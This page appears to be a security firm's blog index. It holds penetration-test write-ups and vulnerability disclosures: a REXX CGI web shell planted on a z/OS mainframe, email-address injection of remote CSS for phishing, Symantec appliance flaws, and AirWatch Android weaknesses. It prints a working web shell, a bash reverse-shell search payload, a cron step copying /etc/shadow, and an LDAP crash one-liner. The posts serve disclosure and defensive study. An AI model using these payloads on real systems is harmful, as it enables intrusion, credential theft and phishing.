RSS Feed

REXX CGI Web Shell

Recently I was conducting a mainframe assessment (z/OS), and the application account I had access to was able to FTP directly to the system. There were also multiple web servers listening on the host, so I used web shell planting tactics to gain remote command execution — albeit with an uncommon scripting language (REXX).

Typically when you FTP to an IBM mainframe you will find yourself in the Multiple Virtual Storage (MVS) file system. This is indicated by “Remote system type is MVS” in the FTP response message.

It’s possible to change to a Unix-like file system, Hierarchical File System (HFS), to make it easier to understand (at least for me!). This can be accomplished by executing a simple change directory command using FTP.

Change to HFS
ftp> cd /
250 HFS directory /s the current working directory

After identifying this access, I trawled through the more familiar file system and came across a CGI web root that permitted the execution of REXX scripts. REXX is an interpreted scripting language developed by IBM that dates back to the beginning of the 80s.

After creating a simple REXX web shell, I was able to upload the shell to the web root and chmod it with the appropriate permissions.

REXX Web Shell
/* rexx */
'cgiutils -status 200 -ct text/x-ssi-html'
address syscall 'pipe p.'
'cgiparse -f > /dev/fd' || p.2
address syscall 'close' p.2
address mvs 'execio 1 diskr' p.1 '(stem s.'
interpret s.1

do i=1 to 100 until s.1=''
   parse var s.1 parm.i.1 '=' parm.i.2 '&' s.1
   if parm.i.1 = 'FORM_cmd' then do
     cmd = parm.i.2
     cmd = STRIP(cmd, ,"'")

say 'Running as ' || USERID()
say 'Executing the following command... "' || cmd || '"'
address syscall 'pipe p.'
cmd || ' >/dev/fd'||p.2
address syscall 'close' p.2
address mvs 'execio * diskr' p.1 '(stem s.'
do i=1 to s.0
   say s.i

Finally, by sending a command to be executed in the cmd HTTP request parameter, I was able to gain command execution on the system as the WWWPUB user. Although there was FTP access, it is much easier to enumerate and attack the system given interactive execution of commands and this also provided different access permissions.

The script can be executed like so:
$ curl http://host/cgi/foo/cmd.rexx --data-urlencode 'cmd=id'

Here we can see an example of the ps -ef command being executed by the WWWPUB user in the CGI directory.


Email Injection

On a recent project, we noticed that an application was accepting email addresses in an unsafe format. In the case of this application, it was sending the email address in an email to a user’s account, without escaping.

It’s not that the application wasn’t validating email addresses. It was, in fact, running all email address through the standard Java validator, javax.mail.internet.InternetAddress.validate().

However, legal email addresses can have some amazingly complex things in them.

The Wikipedia page for email addresses has examples of legitimate, if crazy, email addresses.

The Java library mostly (but not completely) agrees with the email addresses as indicated in that article.

Now, to put dangerous content into email addresses, there are two general methods useful for attackers: comments and quoted portions. The Java library does not accept comments in email addresses, but it does accept quoted portions.

This is an example of a legal email using quoting:


as is


Web pen testers will recognize the latter as the canonical test for an XSS attack.

In this case, the email address was being put into an outbound email. This normally is not an XSS vector. Email is typically read in a dedicated mail application, or in a webapp. Mail applications often don’t have JavaScript engines, and Webmail applications as a rule will refuse to render any JavaScript. (Sometimes attackers will find a way around this, but it’s very hard to do, and if they succeed it is a much bigger problem than any I describe here.)

Modern mail readers still have significant CSS capabilities, so the ability to insert arbitrary HTML into them means the ability to change the message visible to the user arbitrarily.  This can lead to very successful phishing attacks, since an attacker can cause malicious messages to originate from the legitimate and expected service.

My primary mail reader target was OSX’s, with Thunderbird as a secondary.

The application we were looking at had a strong limit of 50 characters for an email address, and the domain had to have at least two labels, of which the second had to be at least 2 characters. (This is not part of the RFC, nor does the Java library require it.) Given the quotes and the domain, the longest message that could be inserted was 43 characters:


It was necessary, of course, to start a style tag, as well as to close it, so that left us with this much room:


This still allowed room for a payload to be inserted thanks to URL shorteners and use of the @import directive.

    "<style>@import 'http://xxxxxxxxxxx'</style>"@x.xx

The “http://” is required in the mail context, as are the quotes.

Can a normal person fit a URL in 11 characters?  Domains like “” are available, but there is no need to splurge on a short domain.  The best link shorteners can give you a URL in 9 characters, so this is our hostile email addresses, with two characters to spare

    "<style>@import ''</style>"@x.xx

Now, with arbitrary space, we can put in an appropriate payload that overwrites the message:

body {
  visibility: hidden;
body:after {
  content:'We have detected unauthorized access to your account. Please visit to restore access, or call 555-1212.';
  visibility: visible;
  display: block;
  position: absolute;
  padding: 5px;
  top: 2px;

And the message in Apple looks like this:

In Thunderbird, if you accept the warning to load remote content, you get this:


  1. Email address validation is not the same as email address sanitization.
  2. More mail readers should be suspicious of external links, and offer an option like Thunderbird does to delay loading of external content.

Vulnerability Disclosure Info: Symantec Encryption Management Server

During a security assessment project in 2015 GDS encountered a fully patched Symantec Encryption Management Server appliance. This product provides secure messaging both between users of the organization and with external users. Each server is managed via an administrative web interface. During the project, and follow on research, GDS discovered several issues that were reported to Symantec and have subsequently been addressed in later releases of the software. Now that Symantec customers, among them some of our clients, have had ample time to apply the relevant patches we thought we’d share details of these vulnerabilities.

OS Command Execution

The administration web interface includes the facility to search the log files. When performing a search, it was possible, using a specially crafted search term, to execute OS level commands on the appliance. The search functionality dynamically built a command string, with untrusted user input, that was then executed by the operating system command shell. Insufficient validation of the supplied parameters exposed arbitrary command execution and provided an attacker with privileges or capabilities previously unavailable.

This issue required a user account with low privilege access to the administrative interface. The lowest privilege user role with this level of access is Reporter.

The following text, entered into the search box, was used to start an interactive, reverse TCP connection, shell.

|` /bin/bash -i >& /dev/tcp/ 0>&1`

The resulting interactive shell is executed as user tomcat.

CVE-2015-8151 was assigned to cover the above issue.

Local Privilege Escalation

The tomcat user had write access to the file /etc/cron.daily/tomcat.cron. The contents of this file were executed in the context of the root super-user account. Consequently, given command execution (see above), arbitrary commands could be scheduled for execution as root.

ls -al /etc/cron.daily/tomcat.cron

-rwxrwxr-x 1 root tomcat 88 Jul  6 03:58 /etc/cron.daily/tomcat.cron

As the tomcat user, GDS were able to append additional content to the cron job. For example, with the command below:

$ echo ‘cat /etc/shadow >/tmp/shadow’ >> /etc/cron.daily/tomcat.cron

This cron job was executed daily and ran with root privileges.

ls -l /tmp/shadow

-rw-r—r— 1 root root 825 Jul  6 04:02 /tmp/shadow

cat /tmp/shadow


CVE-2015-8150 was assigned to cover the above issue.

Heap Based Memory Corruption

GDS also discovered a repeatable crash in the LDAP service running on the appliance. This could be reproduced using the following simple python script.

python -c “import socket; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((‘’, 636)); s.send(‘803a01030100030000002e00000040404141414142424242434343434444313145454545464646464747474731314848494949494a4a4a4a4b4b4b4b’.decode(‘hex’))”

This will trigger a SIGSEGV signal and the service will exit. LDAP and LDAPS will not be available until the service has been automatically restarted.

CVE-2015-8149 was assigned to cover the above issue.

Vendor Update

Symantec have released fixes for the issues described above in SEMS 3.3.2 MP12. For more information from the vendor see


Insights from the Crypto Trenches

At GDS we are in the particularly advantageous position of working with a wide variety of products, spending time understanding their security and often uncovering their flaws. Given this experience, we decided to share some of our thoughts on the cryptographic aspects of building modern software.

It should come as no surprise to anyone in the field of security engineering that working with crypto is a perilous business, and even highly experienced engineers can get it wrong sometimes. Sophisticated attacks come along once in awhile, partially breaking OpenSSL and other well-respected security libraries. However, for those who have spent enough time in the trenches of cryptographic security, it is clear that the vast majority of crypto issues don’t stem from the underlying vulnerability of a well-respected library. Instead, they by far stem from incorrect design and implementation-specific issues of well-built crypto components. In this blog post we try to expand on why design and implementation goes wrong and give advice on making things go better.

Modern, agile software development processes generally merge some of the stages of requirements analysis, architecture, design, implementation and testing. However, in the case of cryptography it is dangerous to conflate these distinct stages. Cryptography must be considered at all these stages, and because of its difficulty and importance for securing important data and decisions, it must be given higher priority than most other elements. As such, it is typical for a software house to discuss crypto-related decisions for longer, and entrust cryptographic aspects of the system to be implemented by one of the most senior engineers. Both of these help, as do checklists such as those implemented by [1] or guidance such as that provided on Martin Fowler’s blog [2].

However, no checklists or easy guides exist for hand-rolled cryptographic constructs. When it comes to designing systems that use cryptography to achieve an end goal, one of the fundamental mistakes made by designers is to reinvent the wheel in the crypto design space. This is not necessarily because anybody needs the burden of designing something new. Instead it’s because it is hard to know what class of problems can be solved with a certain cryptographic construct. It also doesn’t help that cryptographic terminology can be very confusing. For example, Pseudo Random Functions (PRFs) are always implemented as a deterministic function that neither uses, nor exhibits, any random behaviour [3]. For this reason, GDS recommends bringing in experts, either internal or external, to early crypto design discussions. An expert can not only help mitigate the risk of misusing cryptography, but may also offer ways of reusing existing crypto constructs, reducing the overall cost and time budget of the project.

When it comes to writing code, those who are entrusted to implement the agreed-upon design often find themselves in a tight spot. They have to battle with two separate issues: what crypto library to use for a particular crypto construct and in what way should it be used.

At GDS, we advise our clients to use very few, battle-hardened crypto libraries with strongly restricted configuration sets to meet a large set of generic requirements. Unfortunately, cryptographic agility [4], as implemented by OpenSSL, is often at odds with restricted configurations and hardening. Although OpenSSL is the default go-to crypto library of choice, politics such as government-mandated cryptographic primitives (CAMELLIA from Japan, ARIA from South Korea, GOST from Russia, etc) and misguided optimizations (such as 27,000 lines of Perl generating assembly in OpenSSL) also makes it the elephant in the room that no one really wants to question. However, there is very little else to opt for. The obvious other choice is libnacl [5], written by a team led by Dan Bernstein that tries to significantly limit the number of implemented crypto constructs and hence configurations, reducing the cognitive load and simplifying the job of the person charged with implementation. Although libnacl is a great library, its restricted functionality is often an issue — but it excels at what it does implement. This is true for other specialized libraries as well, such as scrypt [6] that can be used for storing salted and hashed passwords or to derive keys from passwords. The library libsodium [7] builds on libnacl, attempting to address some of its portability and usability concerns. However, it is relatively new and mostly written by a single developer without the crypto pedigree of the nacl team. We therefore caution against using it in production environments. It’s not easy when it comes to working in code with cryptography, which leads us to our next topic.

The second biggest headache that developers face at the implementation stage is the actual code around the use of the chosen crypto library and its constructs. It is not unheard of to see developers surprised to see their sensitive memory-cleaning code being optimised away by smart compilers [8]. As such, GDS recommends using high quality standards around crypto code. In all instances, the actual standards enforced are a function of language, developer familiarity, and a number of business factors such as coding language and culture, however, [9] and [10] are good starting points for C/C++. For example, when coding in C11, using secure version of functions that typically end with “_s” are good practice. The C11 standard requires that memset_s never to be optimised away. Given the number of pitfalls such as these, internal code reviews and a final, third-party code review by an expert is important and highly recommended. Whether the third party is internal or external to the organisation, an expert will pick up problems that those less well versed around the use of crypto may not.

Finally, before software is shipped to customers, an overall, system level review of all elements of the cryptographic system is in order. As the above examples show, it is not easy to get crypto right even if the bits and pieces fit well together. Unfortunately, holistic security of a product depends on intricate interactions of the cryptographic subsystem with the rest of the application, its users, the cultural and social environments it will get deployed in, and the business’ goals. The points where these meet are an ample source of confusion and error. As such, a final review is always recommended.

At GDS, we get to see a lot of crypto code, often only at the final stages of development or beyond, when it’s already in active use by end users. Fixing issues at this stage is costly to the business and frustrating to the developers. Sometimes, when looking at the issues, one wonders how much time could have been saved by using the correct crypto constructs from the right libraries, using good coding guidelines from the get go — no wasteful reinvention of the wheel and no costly retrofitting needed. When it comes to crypto, experience is key. Above, we have tried to put into writing some of the key recommendations that experienced crypto engineers give to solve real-world problems. Naturally, we have plenty more, but we always try to tailor them to needs of the application at hand. In a series of blog posts to follow we plan to go more in-depth into some of the crypto issues we highlighted above, and more.



AirWatch Vulnerabilities from the GDS Archives


At GDS, we’ve researched many Mobile Application management (MAM) container platforms over the years. Early last year, we published a whitepaper and security checklist on the subject to assist developers, security teams, and buyers of MAM platforms. Today we’re releasing details on vulnerabilities in the AirWatch MAM platform that we discovered two years ago that have long since been patched. We still regularly run into these types of bugs in similar platforms in 2016, so we thought it’d be helpful to take a look at a few of them in detail.

In May 2014, we were doing independent vulnerability research poking around at the AirWatch Mobile Device Management Secure Content Locker (SCL) application for Android. During our brief analysis, we discovered a number of vulnerabilities in the SCL application that could allow an attacker with access to a user’s device to bypass the application security and gain access to the encrypted content stored in the application’s sandbox. GDS disclosed the vulnerabilities to AirWatch in May 2014. These have all been remediated by the application vendor and are listed below:

1. User Passwords Susceptible to Offline Brute Force Attacks

2. Inadequate Enterprise Wipe

3. Symmetric Key stored using Java String Object

4. Authentication Bypass via Exported Activities

5. Static IV Used in Cryptographic Operation 

These issues, discovered by Ron Gutierrez, were present in AirWatch Android Agent v4.5.3.782 and Secure Content Locker (SCL) v1.9.2, and were fixed in versions 5.1 and 2.1 respectively. GDS would like to commend AirWatch on their responsiveness and rapid deployment of fixes.

These issues will be discussed further in the rest of this blog post.

Issue Descriptions

User Passwords Susceptible to Offline Brute Force Attacks

The routines used to perform offline authentication to the AirWatch Secure Content Locker application used an unsalted SHA-256 hash to validate the user’s passphrase. This made it possible for an attacker, who gains access to a victim’s stolen device, to perform an offline brute force attack on this hash, in order to determine the AirWatch authentication credentials. Depending on how an organization integrates authentication with AirWatch these credentials are likely to be the user’s Active Directory password. However, as was in our case below this password could be an AirWatch specific password. Note, while AirWatch employs device root detection this does not prevent an attacker who has stolen the device from rooting it and then directly accessing the configuration file storing the hash. This configuration file is at the following location:


An example of the contents of this file is shown below:

<string name="seedHash">NEHfC6vCot2lUdfNOfsjW8TgnNHkVWvyYbtJGI9Ug0g=</string>

GDS verified that this was indeed the AirWatch specific password set up for our test device using the following python code:

>>> import base64
>>> import hashlib
>>> output = base64.b64encode(hashlib.sha256("testing1234").digest())
>>> print(output)

Inadequate Enterprise Wipe

AirWatch provides an Enterprise Wipe option that is available to device administrators. This option performs an application level wipe rather than initiating a full device wipe, i.e. for organizations using AirWatch to remove company resources from an employee owned device while leaving personal data and the underlying phone configuration intact.

Unfortunately, the Enterprise Wipe functionality failed to adequately eliminate company data from the device’s application directory. Therefore, even after this wipe was performed potentially sensitive data was still present in the following directories:


This can be verified by performing an “Enterprise Wipe” yourself and then checking these directories to see the artifacts left behind, such as the “seedHash” from the finding above.

Symmetric key stored using Java String Object

This vulnerability had two distinct issues. Firstly, storing sensitive values in a Java String object will prevent the value from being properly cleared from memory. This is the same reason why it is not recommended to use String objects to process passwords. Java String objects are immutable and can persist long after they are required by the application. The application has little control over when the garbage collector will recycle the memory and even when it is collected the contents may persist until the memory has been reallocated and written to. This increases the risk of the key being read from device memory by malware or stolen using a privilege escalation vulnerability that does not require a device reboot. This vulnerability was verified by decompiling the source code of the binary application as shown below:

private String e(String paramString1, String paramString2)
 char[] arrayOfChar = paramString1.toCharArray();
 String str1 = this.d.getString("Vector", "");
 String str2;
 if (str1.length() == 0)
   str2 = h();
   String str3 = Base64.encodeToString(str2.getBytes(), 0);
   SharedPreferences.Editor localEditor = this.d.edit();
   localEditor.putString("Vector", str3);
 byte[] arrayOfByte;
 while (true)
   PBEKeySpec localPBEKeySpec = new PBEKeySpec(arrayOfChar, a(paramString2,
                                                 str2, "A1rW4tchR0xin4t0R"),
                                               20000, 256);
   arrayOfByte = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
   if (arrayOfByte != null)
   return null;
   str2 = new String(Base64.decode(str1, 0));
 return new String(arrayOfByte);

The second issue is that using a String object to store a symmetric key value can lead to a decrease in the overall entropy of the key due to String objects attempting to convert the key material to charset encodings. On Android, the default charset is UTF-8 and any byte sequence that is not a valid UTF-8 character will be replaced with the byte sequence EF BF BD (hex), which corresponds to the Unicode codepoint U+FFFD ‘REPLACEMENT CHARACTER’. This introduces a security risk since invalid byte sequences within the key will be converted to the EFBFBD sequence reducing the overall entropy of the key.

Using the Cydia Substrate tool available on rooted Android devices we can write hooks for Java methods to, for example, print out the contents of the parameters during runtime. The following hook was written to print out the contents of the parameters to the com.airwatch.crypto.openssl.e.b(byte[], String) method.

MS.hookClassLoad("com.airwatch.crypto.openssle", new MS.ClassLoadHook() {
 public void classLoaded(Class<?> resources) {
   String methodName = "a";
   Method lmethod;
   try {
     lmethod = resources.getMethod(methodName, Context.class);
   } catch (NoSuchMethodException e) {
     Log.w(_TAG, "No such method: " + methodName);
     lmethod = null;
   final MS.MethodPointer old = new MS.MethodPointer();
   if (lmethod != null) {
   MS.hookMethod(resources, lmethod, new MS.MethodHook() {
       public Object invoked(Object resources, Object... args)
                     throws Throwable {
         Log.i(_TAG, "com.airwatch.a.b.a() is hit");
         Log.i(_TAG, "param1: " + bytesToHex((byte[])args[0]));
         Log.i(_TAG, "param2: " + printString((String)args[1]));
         return old.invoke(resources, args);
     }, old);
public static String bytesToHex(byte[] bytes)
 char[] hexChars = new char[bytes.length * 2];
 for ( int j = 0; j < bytes.length; j++ ) {
   int v = bytes[j] & 0xFF;
   hexChars[j * 2] = hexArray[v >>> 4];
   hexChars[j * 2 + 1] = hexArray[v & 0x0F];
 return new String(hexChars);

The console output below shows the values returned by the application.

param1: 4B46FAF3F28FA6B3F7A44951D4F8330CCD0C82D42438D053209B21473EEA130545605F245D241E1B332ECBF87F263B9E

// Base64 decoded ‘master_encryption_key’ stored in SharedPreferences XML file.


// Derived Encrypted Key from AirWatch Password

As you can see in the output above, due to the charset conversion process this issue causes the resulting symmetric key to lose a total of 22 bytes of entropy rather than containing the the expected 32 bytes of entropy.

Authentication Not Enforced when calling Search or Main Activities directly.

The application contains several Activities, which can be found in the AndroidManifest.xml file, that can be abused to bypass the password lock screen. These Activities do not contain the necessary logic to force the user back to the authentication screen. By exploiting this issue an attacker can access metadata of files stored within SCL without knowledge of the user’s login credentials. Therefore, we can deduce that either the file metadata is not encrypted by the application, or that the application can decrypt the content stored in its application directory without requiring the user’s credentials. Either scenario is bad for an application such as this. A walkthrough for exploiting this behavior in the Search Activity is provided below. Explotation of the Main Activity is identical, the only caveat being that exploiting the Main Activity requires the device be to rooted.

Below you can see the intent filter for the SearchActivity from the AndroidManifest.xml file:

<activity android:name="com.airwatch.contentlocker.ui.SearchActivity"
   <action android:name="android.intent.action.SEARCH" />
 <meta-data android:name=""
            android:resource="@xml/searchable" />


With the SCL application closed out on the target device, connect your adb in the usual manner. After which enter the following commands to manually invoke the “SearchActivity” intent:

adb shell am start -a android.intent.action.SEARCH -n com.airwatch.contentlocker/com.airwatch.contentlocker.ui.SearchActivity -e "query" "t"

Upon pressing enter on the above command the SearchActivity intent will fire, and by checking your target devices screen, you’ll see that a search was performed for the input “t”, seen in the screenshots below:

Static IV Used in Cryptographic Operations

The last issue that GDS discovered in the AirWatch SCL application is a fairly pervasive bad practice throughout the cryptography world. As stated in the title, a static IV is used in several of the cryptographic operations performed by the application, including the one responsible for decrypting managed files – awFileDecryptUsingKeyIV. The awFileDecryptUsingKeyIV function accepts several arguments, the path to the encrypted file, the path to the output file, the decryption key, and the IV. The IV in this case consists of the numbers 0 through 15, repeated twice, to create a 32-byte long IV, where there is a static or constant IV, the resulting effect on cryptographic operations is that, it can facilitate practical attacks when comparing multiple ciphertexts. What this means is, the more things you encrypt, the easier it is to guess the decryption key.

A code snippet has been provided below. Since the decompiled code was obfuscated, the filenames and variables below will need to be mapped to the original codebase in order to locate the vulnerable code.

 27:   private static final byte[] j = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 };
 95:   public static void a(File paramFile1, File paramFile2, String paramString)
 96:    {
 97:         i.lock();
 98:         try
 99:    {
100:        e.awFileDecryptUsingKeyIV(c.getFileStreamPath("fipsOpenSSlRSA.enc").getAbsolutePath(), paramFile1.getAbsolutePath(), paramFile2.getAbsolutePath(), paramString.getBytes(), j);
101:        return;
102:   }
103:        finally
104:   {
105:        i.unlock();
106:   }
107:        throw localObject;
108:   }


As can be seen in the decompiled code snippet above, our encryption IV value is the 0 through 15 repeated twice in a byte array.

Page 1 ... 2 3 4 5 6 ... 29 Next 5 Entries »